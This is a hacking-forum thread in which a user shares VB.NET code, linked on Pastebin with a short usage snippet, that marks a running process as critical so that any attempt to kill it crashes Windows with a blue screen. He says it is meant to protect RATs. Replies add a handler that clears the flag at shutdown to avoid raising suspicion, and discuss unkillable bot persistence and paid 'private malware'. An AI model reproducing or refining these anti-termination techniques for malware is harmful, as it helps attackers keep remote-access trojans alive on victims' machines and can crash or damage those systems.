

Forum:[Hack Forums](#)

Thread: [Protect Your Process! - Blue Screen On Termination](#)

Proton! - September 27, 2014, 4:04 am

This one you will like :) -- Very useful for RATs or programs that need protection! :)

I use this code in the RAT I am coding in this very moment! Basically once the file has been executed it will set the PROCESS_IS_CRITICAL flag onto itself so if someone /something tries to kill it, the computer will blue screen!

DaCode ([Click to View](#))

<http://pastebin.com/7AM6JZJE>

Usage ([Click to View](#))

Code Public Sub ProtectMe()

 MsgBox("Press OK to set the process as critical!")

 If Protection.SetProcessIsCritical(True) Then

 MsgBox("The process is now critical, press OK to unsecure it!")

 Protection.SetProcessIsCritical(False)

 Else

 MsgBox("Failed to protect the process, did it run as administrator?")

 End If

End Sub

If you liked this don't forget to leave some feedback ?

TheBarret - September 27, 2014, 4:29 am

Its good that you show/share projects and source but why not put them into a single thread.

Proton! - September 27, 2014, 4:52 am

(Sep 27, 2014 04:29 AM)TheBarret Wrote: [\[CITE\]](#) Its good that you show/share projects and source but why not put them into a single thread.

I realize I should have, I just found went through my files, then once I found something interesting I posted the source, then went through more ?

xNeaples - September 27, 2014, 5:19 am

Actually this is a very nice method, thank you.

TheBarret - September 27, 2014, 5:21 am

(Sep 27, 2014 05:19 AM)xNeaples Wrote: [\[CITE\]](#) Actually this is a very nice method, thank you.

Its not new mate, if you try search (oh its so hard to use search..) you will get 10's (if not 100's) of threads that explain this method.

xNeaples - September 27, 2014, 5:24 am

(Sep 27, 2014 05:21 AM)TheBarret Wrote: [\[CITE\]](#) Its not new mate, if you try search (oh its so hard to use search..) you will get 10's (if not 100's) of threads that explain this method.

Never searched for a method, I was just looking around this section and saw this thread, decided to take a look, posted that because I've never seen this kind of thing. What's wrong for you with my post mate?

IcYSeptember - September 27, 2014, 6:11 am

Don't forget to turn this protection off when the user is shutting down, so that he/she doesn't get a BSOD every time they shutdown their computer.

I could write some code for that, but I'm too lazy. I might change my mind in a bit.

ninjahood - September 27, 2014, 7:37 am

thanks. it works if run as admin only. is it possible to make it works without run as admin?

Proton! - September 27, 2014, 9:19 am

(Sep 27, 2014 06:11 AM)IcYSeptember Wrote: [\[CITE\]](#) Don't forget to turn this protection off when the user is shutting down, so that he/she doesn't get a BSOD every time they shutdown their computer. I could write some code for that, but I'm too lazy. I might change my mind in a bit.

That is what I am doing:

AddHandler Microsoft.Win32.SystemEvents.SessionEnding, AddressOf HandleSessionEnding

In Sub HandleSessionEnding, add the code:
Protection.SetProcessIsCritical(False)

(Sep 27, 2014 07:37 AM)ninjahood Wrote: [\[CITE\]](#) thanks. it works if run as admin only. is it possible to make it works without run as admin?

No, I am afraid not -- It has to be run as administrator to get the required privileges.

SIM-1456245 - September 27, 2014, 9:24 am

Yesterday I found my version of this class in my files, now i see this, what a coincidence .

IcYSeptember - September 27, 2014, 10:00 am

(Sep 27, 2014 09:19 AM)Professor Proton Wrote: [\[CITE\]](#) That is what I am doing:

AddHandler Microsoft.Win32.SystemEvents.SessionEnding, AddressOf HandleSessionEnding

In Sub HandleSessionEnding, add the code:
Protection.SetProcessIsCritical(False)

No, I am afraid not -- It has to be run as administrator to get the required privileges.
That's good.

And also, there are process persistence methods similar to this that don't require administrator privileges. I've got some code written in my (as of now) private C++ loader. The process can't be killed by a normal user if it's run by a normal user, but can be killed by an administrator (but the bot will restart). But if the bot is run as administrator, or bypasses UAC, then the bot can't be killed by a user or an administrator by using normal tools.

Proton! - September 27, 2014, 10:04 am

(Sep 27, 2014 10:00 AM)IcYSeptember Wrote: [\[CITE\]](#) That's good.

And also, there are process persistence methods similar to this that don't require administrator privileges. I've got some code written in my (as of now) private C++ loader. The process can't be killed by a normal user if it's run by a normal user, but can be killed by an administrator (but the bot will restart). But if the bot is run as administrator, or bypasses UAC, then the bot can't be killed by a user or an administrator by using normal tools.

That sounds like an amazing program you got there m8!

IcYSeptember - September 27, 2014, 10:18 am

(Sep 27, 2014 10:04 AM)Professor Proton Wrote: [\[CITE\]](#) That sounds like an amazing program you got there m8!

Meh. It's nothing special.

I haven't been able to work on it lately because I've been working on customer's private malware.

But there's a lot of code already in that project, so...I don't want to give up on it.

Proton! - September 27, 2014, 10:49 am

(Sep 27, 2014 10:18 AM)IcYSeptember Wrote: [\[CITE\]](#) Meh. It's nothing special.

I haven't been able to work on it lately because I've been working on customer's private malware.

But there's a lot of code already in that project, so...I don't want to give up on it.

Yea I definitely understand that :)! - Keep up the good work bro!

Menalix - September 27, 2014, 12:18 pm

This is probally the most stupid function ever and is quite old.

Proton! - September 27, 2014, 12:24 pm

(Sep 27, 2014 12:18 PM)Menalix Wrote: [\[CITE\]](#) This is probally the most stupid function ever and is quite old.

Well, it might come in handy for some people :)

TheBarret - September 27, 2014, 12:55 pm

(Sep 27, 2014 12:24 PM)Professor Proton Wrote: [\[CITE\]](#) Well, it might come in handy for some people :)

Told ya its gonna bite you in the ass, but your a stubborn lil twat.

He B TeMy - September 27, 2014, 1:36 pm

Again, why P/Invoke GetCurrentProcess, you have it within .net, just why?

One question, do you come from a background of vb6?

Proton! - September 27, 2014, 1:58 pm

(Sep 27, 2014 01:36 PM)HeBTeMy Wrote: [\[CITE\]](#) Again, why P/Invoke GetCurrentProcess, you have it within .net, just why?

One question, do you come from a background of vb6?

Yes, when I first started programming, I programmed VB6, and did it for a while :P

It is a habit for me to use P/Invokes..

(Sep 27, 2014 12:55 PM)TheBarret Wrote: [\[CITE\]](#) Told ya its gonna bite you in the ass, but your a stubborn lil twat.

I still love you too TheBarret! <3 xoxo

SIM-1456245 - September 28, 2014, 6:39 am

(Sep 27, 2014 01:58 PM)Professor Proton Wrote: [\[CITE\]](#) I still love you too TheBarret! <3 xoxo
Ooooooppss. Let me grab my popcorn and a glass of Pepsi.

IAmNotHere - September 28, 2014, 7:43 am

Sorry, but this is fucked code. This ruined my pc once.

Only3 - September 28, 2014, 7:48 am

(Sep 28, 2014 07:43 AM)IAmNotHere Wrote: [\[CITE\]](#) Sorry, but this is fucked code. This ruined my pc once.

right as the title say it will do ?

Proton! - September 28, 2014, 9:08 am

(Sep 28, 2014 07:43 AM)IAmNotHere Wrote: [\[CITE\]](#) Sorry, but this is fucked code. This ruined my pc once.

Haha :) - It shouldn't ruin your pc if you use it properly
^^

IAmNotHere - September 29, 2014, 9:51 am

I think you better code some decent persistence instead of destroying a pc and not having the bot at all, because the pc owner has to do a disk format.

Proton! - September 29, 2014, 10:37 am

(Sep 29, 2014 09:51 AM)IAmNotHere Wrote: [\[CITE\]](#) I think you better code some decent persistence instead of destroying a pc and not having the bot at all, because the pc owner has to do a disk format.

It shouldn't destory your computer at all, just cause blue screen if the process is forcibly closed.

IAmNotHere - September 29, 2014, 1:08 pm

Not true: there is good change your logoff scripts will crash.

Proton! - September 30, 2014, 2:13 am

(Sep 29, 2014 01:08 PM)IAmNotHere Wrote: [\[CITE\]](#) Not true: there is good change your logoff scripts will crash.

Have never had a problem myself. Anyways, you do what you wanna do.

Sn0wX - September 30, 2014, 2:22 pm

Can some One explain what are all this API's and methods doin gin a BLOODY structure.

Proton! - September 30, 2014, 3:47 pm

(Sep 30, 2014 02:22 PM)Sn0wX Wrote: [\[CITE\]](#) Can some One explain what are all this API's and methods doin gin a BLOODY structure.

Oh, I wrapped them all in a structure because that is how I keep all my functions in one class called "Functions", I just find this easy to implement anyways.

He B TeMy - October 1, 2014, 1:12 am

(Sep 30, 2014 03:47 PM)Professor Proton Wrote: [\[CITE\]](#) Oh, I wrapped them all in a structure because that is how I keep all my functions in one class called "Functions", I just find this easy to implement anyways.

Where is the class in your code? nor i see "Functions"

Proton! - October 2, 2014, 7:00 am

(Oct 1, 2014 01:12 AM)HeBTeMy Wrote: [\[CITE\]](#) Where is the class in your code? nor i see "Functions"

I have a class in my project called Functions, not this one, and that's where I have a collection of structures, like this one.